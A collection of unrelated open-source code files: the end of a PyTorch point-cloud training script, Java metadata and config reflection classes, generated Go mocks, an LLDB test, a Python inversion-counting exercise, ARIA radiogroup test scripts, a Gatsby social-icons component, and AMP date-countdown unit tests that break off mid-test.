optimizer.zero_grad()
output = model(points)
loss = criteria(output, points)
loss.backward()
optimizer.step()
pbar.set_postfix(loss=loss.item())
pbar.update()
pbar.close()
def evaluate(args, model, dataloader):
desc = "Evaluation"
pbar = tqdm.tqdm(total=len(dataloader), desc=desc)
model.eval()
with torch.no_grad():
predict = []
for i, (points, _) in enumerate(dataloader):
points = points.to(args.device)
output = model(points)
predict.append(output.cpu().transpose(2, 1).numpy())
pbar.update()
pbar.close()
return predict
def visualize(points, predict):
pv.set_plot_theme("document")
plt = pv.Plotter(shape=(4, 2), window_size=(400, 800))
for i in range(4):
plt.subplot(i, 0)
plt.add_mesh(
points[i],
render_points_as_spheres=True,
color="gray",
point_size=8.0,
ambient=0.1,
diffuse=0.8,
specular=0.5,
specular_power=100.0,
)
plt.subplot(i, 1)
mesh = pv.PolyData(predict[i])
mesh["colors"] = np.arange(predict[i].shape[0])
plt.add_mesh(
mesh,
render_points_as_spheres=True,
point_size=8.0,
cmap="rainbow",
show_scalar_bar=False,
ambient=0.1,
diffuse=0.8,
specular=0.5,
specular_power=100.0,
)
plt.link_views()
plt.camera_position = [
(5.0, 0.0, 0.0),
(0.0, 0.0, 0.0),
(0.0, 1.0, 0.0),
]
plt.show("ShapeNet")
plt.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--root", default="data", type=str)
# You can increase the training epochs for better performance
parser.add_argument("--epochs", default=10, type=int)
# Use "--device cpu" if your computer does not have CUDA
parser.add_argument("--device", default="cuda", type=str)
parser.add_argument("--batch_size", default=32, type=int)
parser.add_argument("--num_workers", default=4, type=int)
parser.add_argument("--in_channels", default=3, type=int)
parser.add_argument("--lr", default=0.0001, type=float)
args = parser.parse_args()
main(args)
|
icarazob/mr4c | java/src/java/com/google/mr4c/serialize/bean/metadata/MetadataBeans.java | /**
* Copyright 2014 Google Inc. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.mr4c.serialize.bean.metadata;
import com.google.mr4c.metadata.MetadataArray;
import com.google.mr4c.metadata.MetadataElement;
import com.google.mr4c.metadata.MetadataElementType;
import com.google.mr4c.metadata.MetadataField;
import com.google.mr4c.metadata.MetadataKey;
import com.google.mr4c.metadata.MetadataList;
import com.google.mr4c.metadata.MetadataMap;
import java.util.HashMap;
import java.util.Map;
public abstract class MetadataBeans {
private static Map<MetadataElementType,Class<? extends MetadataElementBean>> s_classMap = new HashMap<MetadataElementType,Class<? extends MetadataElementBean>>();
private static Map<MetadataElementType,BeanFactory> s_factories = new HashMap<MetadataElementType,BeanFactory>();
static {
s_classMap.put(MetadataElementType.FIELD, MetadataFieldBean.class);
s_classMap.put(MetadataElementType.ARRAY, MetadataArrayBean.class);
s_classMap.put(MetadataElementType.LIST, MetadataListBean.class);
s_classMap.put(MetadataElementType.MAP, MetadataMapBean.class);
s_classMap.put(MetadataElementType.KEY, MetadataKeyBean.class);
}
public static Class<? extends MetadataElementBean> getBeanClass(MetadataElementType type) {
return s_classMap.get(type);
}
public static MetadataElementBean toMetadataElementBean(MetadataElement element) {
BeanFactory factory = s_factories.get(element.getMetadataElementType());
return factory.createBean(element);
}
private static interface BeanFactory<T extends MetadataElement> {
MetadataElementBean createBean(T element);
}
private static class FieldBeanFactory implements BeanFactory<MetadataField> {
public MetadataElementBean createBean(MetadataField field) {
return MetadataFieldBean.instance(field);
}
}
static { s_factories.put(MetadataElementType.FIELD, new FieldBeanFactory()); }
private static class ArrayBeanFactory implements BeanFactory<MetadataArray> {
public MetadataElementBean createBean(MetadataArray array) {
return MetadataArrayBean.instance(array);
}
}
static { s_factories.put(MetadataElementType.ARRAY, new ArrayBeanFactory()); }
private static class ListBeanFactory implements BeanFactory<MetadataList> {
public MetadataElementBean createBean(MetadataList list) {
return MetadataListBean.instance(list);
}
}
static { s_factories.put(MetadataElementType.LIST, new ListBeanFactory()); }
private static class MapBeanFactory implements BeanFactory<MetadataMap> {
public MetadataElementBean createBean(MetadataMap map) {
return MetadataMapBean.instance(map);
}
}
static { s_factories.put(MetadataElementType.MAP, new MapBeanFactory()); }
private static class KeyBeanFactory implements BeanFactory<MetadataKey> {
public MetadataElementBean createBean(MetadataKey key) {
return MetadataKeyBean.instance(key);
}
}
static { s_factories.put(MetadataElementType.KEY, new KeyBeanFactory()); }
}
|
mitring/cuba | modules/global/src/com/haulmont/cuba/core/config/ConfigDefaultMethod.java | <gh_stars>1000+
/*
* Copyright (c) 2008-2018 Haulmont.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.haulmont.cuba.core.config;
import org.apache.commons.lang3.SystemUtils;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
/**
* Invokes default method of configuration interfaces.
*/
public class ConfigDefaultMethod extends ConfigMethod {
private final Class<?> configInterface;
private final Method configMethod;
public ConfigDefaultMethod(Class<?> configInterface, Method configMethod) {
this.configInterface = configInterface;
this.configMethod = configMethod;
}
@Override
public Object invoke(ConfigHandler handler, Object[] args, Object proxy) {
try {
if (SystemUtils.IS_JAVA_1_8) {
// hack to invoke default method of an interface reflectively
Constructor<MethodHandles.Lookup> lookupConstructor =
MethodHandles.Lookup.class.getDeclaredConstructor(Class.class, Integer.TYPE);
if (!lookupConstructor.isAccessible()) {
lookupConstructor.setAccessible(true);
}
return lookupConstructor.newInstance(configInterface, MethodHandles.Lookup.PRIVATE)
.unreflectSpecial(configMethod, configInterface)
.bindTo(proxy)
.invokeWithArguments(args);
} else {
return MethodHandles.lookup()
.findSpecial(configInterface, configMethod.getName(), MethodType.methodType(configMethod.getReturnType(),
configMethod.getParameterTypes()), configInterface)
.bindTo(proxy)
.invokeWithArguments(args);
}
} catch (Throwable throwable) {
throw new RuntimeException("Error invoking default method of config interface", throwable);
}
}
/**
* The ConfigDefaultMethod factory.
*/
public static final Factory FACTORY = new Factory() {
/**
* The method is default and has a non-void return type.
*/
@Override
public boolean canHandle(Method method) {
return method.isDefault() && !Void.TYPE.equals(method.getReturnType());
}
@Override
public ConfigMethod newInstance(Class<?> configInterface, Method configMethod) {
return new ConfigDefaultMethod(configInterface, configMethod);
}
};
}
|
mongodb/mcli | internal/mocks/mock_backup_config.go | // Code generated by MockGen. DO NOT EDIT.
// Source: github.com/mongodb/mongodb-atlas-cli/internal/store (interfaces: BackupConfigGetter,BackupConfigLister,BackupConfigUpdater)
// Package mocks is a generated GoMock package.
package mocks
import (
reflect "reflect"
gomock "github.com/golang/mock/gomock"
mongodbatlas "go.mongodb.org/atlas/mongodbatlas"
opsmngr "go.mongodb.org/ops-manager/opsmngr"
)
// MockBackupConfigGetter is a mock of BackupConfigGetter interface.
type MockBackupConfigGetter struct {
ctrl *gomock.Controller
recorder *MockBackupConfigGetterMockRecorder
}
// MockBackupConfigGetterMockRecorder is the mock recorder for MockBackupConfigGetter.
type MockBackupConfigGetterMockRecorder struct {
mock *MockBackupConfigGetter
}
// NewMockBackupConfigGetter creates a new mock instance.
func NewMockBackupConfigGetter(ctrl *gomock.Controller) *MockBackupConfigGetter {
mock := &MockBackupConfigGetter{ctrl: ctrl}
mock.recorder = &MockBackupConfigGetterMockRecorder{mock}
return mock
}
// EXPECT returns an object that allows the caller to indicate expected use.
func (m *MockBackupConfigGetter) EXPECT() *MockBackupConfigGetterMockRecorder {
return m.recorder
}
// GetBackupConfig mocks base method.
func (m *MockBackupConfigGetter) GetBackupConfig(arg0, arg1 string) (*opsmngr.BackupConfig, error) {
m.ctrl.T.Helper()
ret := m.ctrl.Call(m, "GetBackupConfig", arg0, arg1)
ret0, _ := ret[0].(*opsmngr.BackupConfig)
ret1, _ := ret[1].(error)
return ret0, ret1
}
// GetBackupConfig indicates an expected call of GetBackupConfig.
func (mr *MockBackupConfigGetterMockRecorder) GetBackupConfig(arg0, arg1 interface{}) *gomock.Call {
mr.mock.ctrl.T.Helper()
return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetBackupConfig", reflect.TypeOf((*MockBackupConfigGetter)(nil).GetBackupConfig), arg0, arg1)
}
// MockBackupConfigLister is a mock of BackupConfigLister interface.
type MockBackupConfigLister struct {
ctrl *gomock.Controller
recorder *MockBackupConfigListerMockRecorder
}
// MockBackupConfigListerMockRecorder is the mock recorder for MockBackupConfigLister.
type MockBackupConfigListerMockRecorder struct {
mock *MockBackupConfigLister
}
// NewMockBackupConfigLister creates a new mock instance.
func NewMockBackupConfigLister(ctrl *gomock.Controller) *MockBackupConfigLister {
mock := &MockBackupConfigLister{ctrl: ctrl}
mock.recorder = &MockBackupConfigListerMockRecorder{mock}
return mock
}
// EXPECT returns an object that allows the caller to indicate expected use.
func (m *MockBackupConfigLister) EXPECT() *MockBackupConfigListerMockRecorder {
return m.recorder
}
// ListBackupConfigs mocks base method.
func (m *MockBackupConfigLister) ListBackupConfigs(arg0 string, arg1 *mongodbatlas.ListOptions) (*opsmngr.BackupConfigs, error) {
m.ctrl.T.Helper()
ret := m.ctrl.Call(m, "ListBackupConfigs", arg0, arg1)
ret0, _ := ret[0].(*opsmngr.BackupConfigs)
ret1, _ := ret[1].(error)
return ret0, ret1
}
// ListBackupConfigs indicates an expected call of ListBackupConfigs.
func (mr *MockBackupConfigListerMockRecorder) ListBackupConfigs(arg0, arg1 interface{}) *gomock.Call {
mr.mock.ctrl.T.Helper()
return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ListBackupConfigs", reflect.TypeOf((*MockBackupConfigLister)(nil).ListBackupConfigs), arg0, arg1)
}
// MockBackupConfigUpdater is a mock of BackupConfigUpdater interface.
type MockBackupConfigUpdater struct {
ctrl *gomock.Controller
recorder *MockBackupConfigUpdaterMockRecorder
}
// MockBackupConfigUpdaterMockRecorder is the mock recorder for MockBackupConfigUpdater.
type MockBackupConfigUpdaterMockRecorder struct {
mock *MockBackupConfigUpdater
}
// NewMockBackupConfigUpdater creates a new mock instance.
func NewMockBackupConfigUpdater(ctrl *gomock.Controller) *MockBackupConfigUpdater {
mock := &MockBackupConfigUpdater{ctrl: ctrl}
mock.recorder = &MockBackupConfigUpdaterMockRecorder{mock}
return mock
}
// EXPECT returns an object that allows the caller to indicate expected use.
func (m *MockBackupConfigUpdater) EXPECT() *MockBackupConfigUpdaterMockRecorder {
return m.recorder
}
// UpdateBackupConfig mocks base method.
func (m *MockBackupConfigUpdater) UpdateBackupConfig(arg0 *opsmngr.BackupConfig) (*opsmngr.BackupConfig, error) {
m.ctrl.T.Helper()
ret := m.ctrl.Call(m, "UpdateBackupConfig", arg0)
ret0, _ := ret[0].(*opsmngr.BackupConfig)
ret1, _ := ret[1].(error)
return ret0, ret1
}
// UpdateBackupConfig indicates an expected call of UpdateBackupConfig.
func (mr *MockBackupConfigUpdaterMockRecorder) UpdateBackupConfig(arg0 interface{}) *gomock.Call {
mr.mock.ctrl.T.Helper()
return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UpdateBackupConfig", reflect.TypeOf((*MockBackupConfigUpdater)(nil).UpdateBackupConfig), arg0)
}
|
mkinsner/llvm | lldb/test/API/functionalities/thread/state_after_expression/main.cpp | <gh_stars>1000+
#include <thread>
void thread_func() {
// Set a breakpoint here
}
int
main()
{
// Set a breakpoint here
std::thread stopped_thread(thread_func);
stopped_thread.join();
return 0;
}
|
shng5175/Random-Python-Stuff | Sherry_Nguyen_Final_Question1.py | import random
import numpy as np
a = []
size = 100
for x in range(size):
y = random.randint(0, size)
a.append(y)
print a
max_reverses = 0
for z in range(size):
max_reverses += size - z -1
print max_reverses
probability = 0.5
probability_reverse = max_reverses * 0.5
print probability_reverse
#Solving in n^2 time
#Using this to help with comparison since I know this is accurate
count_1 = 0
for i in range(len(a)):
for j in range(i, len(a)):
if (a[i] > a[j]):
count_1 += 1
print count_1
###############################################################################
#Solving in O(nlogn) time using mergeSort
#Basic mergeSort function
def mergeSort(arr, temp, left, right):
#print 'Merp'
count = 0
if left < right:
middle = int((left + right)/2)
count += mergeSort(arr, temp, left, middle)
count += mergeSort(arr, temp, middle + 1, right)
count += merge(arr, temp, left, middle, right)
return count
def merge(arr, temp, left, middle, right):
#print left, middle, right
count = 0
i = left #i is index for left subarray
j = left #j is index for the result of the merged subarray
k = middle + 1 #index for the right subarray
while ((i <= middle) and (k <= right)):
#print 'FOOOD'
#compare smallest elements of each subarray
#if the element at i is larger that that at k, then k is smaller than all the elments in the left subarray
if (arr[i] > arr[k]):
count += ((middle + 1) - i)#increase count by the amount of numbers in the left subarray that are larger than the element at k
temp[j] = arr[k] #since we now know the elment at k is amller than everything else we can append it to the temporary array
j += 1
k += 1
#since the element at i isn't larger, we can now append it to the temporary list
else:
temp[j] = arr[i]
j += 1
i += 1
#Append all remaining elements in the left subarray into the temporary array
while(i <= middle):
#print i
temp[j] = arr[i]
j += 1
i += 1
#Append all remaining elements in the right subarray into the temporary array
while(k <= right):
#print k, right
temp[j] = arr[k]
j += 1
k += 1
#We are now done with the original array, can now copy everything in temp to the original array
for l in range(left, right + 1):
arr[l] = temp[l]
return count
length = len(a)
temp = np.zeros(length)
print mergeSort(a, temp, 0, length - 1)
|
howard-e/aria-at | build/tests/radiogroup-aria-activedescendant/scripts.module.js | <filename>build/tests/radiogroup-aria-activedescendant/scripts.module.js
export function checkFirstRadioButtonAndSetFocusAfterRadioGroup(testPageDocument) {
// sets the state of the first radio button to checked, and sets focus on a link after the radio group
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[0].classList.add('focus');
radios[0].setAttribute('aria-checked', 'true');
radioGroup.setAttribute('aria-activedescendant', radios[0].id);
testPageDocument.querySelector('#afterlink').focus();
}
export function checkFirstRadioButtonAndSetFocusBeforeRadioGroup(testPageDocument) {
// sets the state of the first radio button to checked, sets focus on a link before the radio group, and hides the group heading
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[0].classList.add('focus');
radios[0].setAttribute('aria-checked', 'true');
radioGroup.setAttribute('aria-activedescendant', radios[0].id);
testPageDocument.querySelector('#beforelink').focus();
testPageDocument.querySelector('#group_label_1').style.display = 'none';
}
export function checkThirdRadioButtonAndSetFocusAfterRadioGroup(testPageDocument) {
// sets the state of the third radio button to checked, and sets focus on a link after the radio group
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[2].classList.add('focus');
radios[2].setAttribute('aria-checked', 'true');
radioGroup.setAttribute('aria-activedescendant', radios[2].id);
testPageDocument.querySelector('#afterlink').focus();
}
export function setFocusAfterRadioGroup(testPageDocument) {
// sets focus on a link after the radio group
testPageDocument.querySelector('#afterlink').focus();
}
export function setFocusBeforeRadioGroup(testPageDocument) {
// sets focus on a link before the radio group, and hides the group heading
testPageDocument.querySelector('#beforelink').focus();
testPageDocument.querySelector('#group_label_1').style.display = 'none';
}
export function setFocusOnAndCheckFirstRadioButton(testPageDocument) {
// sets focus on the first radio button, and sets its state to checked
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[0].classList.add('focus');
radios[0].setAttribute('aria-checked', 'true');
radioGroup.setAttribute('aria-activedescendant', radios[0].id);
radioGroup.focus();
}
export function setFocusOnFirstRadioButton(testPageDocument) {
// sets focus on the first radio button
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[0].classList.add('focus');
radioGroup.setAttribute('aria-activedescendant', radios[0].id);
radioGroup.focus();
}
export function setFocusOnSecondRadioButton(testPageDocument) {
// sets focus on the second radio button
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[1].classList.add('focus');
radioGroup.setAttribute('aria-activedescendant', radios[1].id);
radioGroup.focus();
}
export function setFocusOnThirdRadioButton(testPageDocument) {
// sets focus on the third radio button
let radioGroup = testPageDocument.querySelector('[role="radiogroup"]');
let radios = testPageDocument.querySelectorAll('[role="radio"]');
radios.forEach(r => {
r.setAttribute('aria-checked', 'false');
r.classList.remove('focus');
});
radios[2].classList.add('focus');
radioGroup.setAttribute('aria-activedescendant', radios[2].id);
radioGroup.focus();
}
|
yingw787/api.tinydevcrm.com | services/app/src/views/__init__.py | """
Views service.
This Django app manages API endpoints related to managing PostgreSQL
materialized views. These views match to certain PostgreSQL tables via
customizable SQL query, so that view refreshing will bring up a certain set of
data depending on conditions changing with time.
This enables different windows into an existing pool of data, and leverages
PostgreSQL's native caching ability (if any) that's colocated with the data.
"""
|
tinashe-88/coming-soon-app | src/components/SocialIcons/social-icon.js | import React from "react"
import { StaticQuery, graphql } from 'gatsby'
import {
GitHubIcon,
InstagramIcon,
LinkedInIcon,
TwitterIcon
} from "../Icon/icon"
import {
SocialIconsWrapper,
IconWrapper,
GithubContainer,
InstagramContainer,
LinkedinContainer,
TwitterContainer
} from './social-icon.styles'
const SocialIcons = () => {
return (
<StaticQuery
query={graphql`
query SocialIconsQuery {
site {
siteMetadata {
social {
github
instagram
linkedIn
twitter
}
}
}
}
`}
render={data => {
const social = data.site.siteMetadata.social
return (
<SocialIconsWrapper>
<IconWrapper>
<GithubContainer
href={`https://github.com/${social.github}`}
target="_blank"
rel="noopener noreferrer"
>
<GitHubIcon/>
</GithubContainer>
</IconWrapper>
<IconWrapper>
<InstagramContainer
href={`https://www.instagram.com/${social.instagram}`}
target="_blank"
rel="noopener noreferrer"
>
<InstagramIcon />
</InstagramContainer>
</IconWrapper>
<IconWrapper>
<LinkedinContainer
href={`https://www.linkedin.com/in/${social.linkedIn}`}
target="_blank"
rel="noopener noreferrer"
>
<LinkedInIcon />
</LinkedinContainer>
</IconWrapper>
<IconWrapper>
<TwitterContainer
href={`https://www.twitter.com/${social.twitter}`}
target="_blank"
rel="noopener noreferrer"
>
<TwitterIcon />
</TwitterContainer>
</IconWrapper>
</SocialIconsWrapper>
)
}}
/>
)
}
export default SocialIcons |
951-444-8887/amphtml | extensions/amp-date-countdown/1.0/test/test-component.js | <reponame>951-444-8887/amphtml<gh_stars>1-10
/**
* Copyright 2020 The AMP HTML Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS-IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import * as Preact from '#preact';
import {DateCountdown} from '../component';
import {mount} from 'enzyme';
describes.sandboxed('DateCountdown 1.0 preact component', {}, (env) => {
let sandbox;
let clock;
function render(data) {
return JSON.stringify(
data,
(key, value) => {
if (typeof value === 'number') {
return String(value);
}
return value;
},
4
);
}
beforeEach(() => {
sandbox = env.sandbox;
clock = sandbox.useFakeTimers(new Date('2018-01-01T08:00:00Z'));
});
afterEach(() => {
clock.runAll();
});
function syncPromise(response) {
return {
then(callback) {
callback(response);
},
};
}
it('should render as a div by default', () => {
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:00Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
// Generic test for the Wrapper
// This is actually fairly arbitrary that it should be a "div". But it's
// checked here to ensure that we can change it controllably when needed.
expect(wrapper.getDOMNode().tagName).to.equal('DIV');
});
it('should default to english locale if invalid locale provided', () => {
const originalWarn = console.warn;
const consoleOutput = [];
const mockedWarn = (output) => consoleOutput.push(output);
console.warn = mockedWarn;
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:00Z'),
locale: 'invalid-locale',
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Check that warning message is print to the screen
expect(consoleOutput.length).to.equal(1);
expect(consoleOutput[0]).to.equal(
'Invalid locale invalid-locale, defaulting to en. DateCountdown'
);
expect(data['years']).to.equal('Years');
expect(data['months']).to.equal('Months');
expect(data['days']).to.equal('Days');
expect(data['hours']).to.equal('Hours');
expect(data['minutes']).to.equal('Minutes');
expect(data['seconds']).to.equal('Seconds');
console.warn = originalWarn;
});
it('should count down if target date is in the future', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:10Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
let data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
// Count down 3 seconds
clock.tick(3000);
wrapper.update();
data = JSON.parse(wrapper.text());
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('8');
expect(data['ss']).to.equal('08');
});
it('should display a negative number if target date is in the past', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have negative 1 year on it
const props = {
render,
datetime: Date.parse('2017-01-01T08:00:00Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
expect(data['d']).to.equal('-364');
expect(data['dd']).to.equal('-364');
expect(data['h']).to.equal('-23');
expect(data['hh']).to.equal('-23');
expect(data['m']).to.equal('-59');
expect(data['mm']).to.equal('-59');
expect(data['s']).to.equal('-58');
expect(data['ss']).to.equal('-58');
});
it('should count down to and stop at 0 by default', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:10Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
let data = JSON.parse(wrapper.text());
// Count down 15 seconds
clock.tick(15000);
wrapper.update();
data = JSON.parse(wrapper.text());
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('0');
expect(data['ss']).to.equal('00');
});
it('should count down past 0 if whenEnded is set to "continue"', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:10Z'),
whenEnded: 'continue',
};
const wrapper = mount(<DateCountdown {...props} />);
let data = JSON.parse(wrapper.text());
// Count down 15 seconds
clock.tick(15000);
wrapper.update();
data = JSON.parse(wrapper.text());
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('-3');
expect(data['ss']).to.equal('-03');
wrapper.unmount();
});
it('should count up when countUp prop is set to "true"', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have -10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:10Z'),
countUp: true,
};
const wrapper = mount(<DateCountdown {...props} />);
let data = JSON.parse(wrapper.text());
// Count up 7 seconds
clock.tick(7000);
wrapper.update();
data = JSON.parse(wrapper.text());
// -3 seconds left on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('-3');
expect(data['ss']).to.equal('-03');
// Count up 10 more seconds
clock.tick(10000);
wrapper.update();
data = JSON.parse(wrapper.text());
// 0 seconds left on the clock (does not continue past 0)
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('0');
expect(data['ss']).to.equal('00');
wrapper.unmount();
});
it('should count up past 0 when whenEnded prop is set to "continue"', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have -10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-01T08:00:10Z'),
countUp: true,
whenEnded: 'continue',
};
const wrapper = mount(<DateCountdown {...props} />);
let data = JSON.parse(wrapper.text());
// Count up 15 seconds
clock.tick(15000);
wrapper.update();
data = JSON.parse(wrapper.text());
// 4 seconds on the clock counting upwards (has an extra second at 0)
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('4');
expect(data['ss']).to.equal('04');
wrapper.unmount();
});
it('should display biggest unit as "days" by default', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 1 day and 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-02T08:00:10Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('1');
expect(data['dd']).to.equal('01');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
wrapper.unmount();
});
it('should display biggest unit as "hours" when set', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 1 day and 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-02T08:00:10Z'),
biggestUnit: 'HOURS',
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('24');
expect(data['hh']).to.equal('24');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
wrapper.unmount();
});
it('should display biggest unit as "minutes" when set', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 1 day and 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-02T08:00:10Z'),
biggestUnit: 'MINUTES',
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('1440');
expect(data['mm']).to.equal('1440');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
wrapper.unmount();
});
it('should display biggest unit as "seconds" when set', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 1 day and 10 seconds on it
const props = {
render,
datetime: Date.parse('2018-01-02T08:00:10Z'),
biggestUnit: 'SECONDS',
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('86411');
expect(data['ss']).to.equal('86411');
wrapper.unmount();
});
it('should handle an async renderer', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
render: (data) => syncPromise(render(data)),
datetime: Date.parse('2018-01-01T08:00:10Z'),
};
const wrapper = mount(<DateCountdown {...props} />);
const data = JSON.parse(wrapper.text());
// Component adds one second delay for slight execution delay in real world
// In our mocked clock situation, we start with 11 seconds on the clock
expect(data['d']).to.equal('0');
expect(data['dd']).to.equal('00');
expect(data['h']).to.equal('0');
expect(data['hh']).to.equal('00');
expect(data['m']).to.equal('0');
expect(data['mm']).to.equal('00');
expect(data['s']).to.equal('11');
expect(data['ss']).to.equal('11');
});
it('should use the default renderer when a renderer is not provided', () => {
// Reference date is 2018-01-01T08:00:00Z
// Timer should have 10 seconds on it
const props = {
datetime: Date.parse('2018-01-01T08:00:10Z'),
};
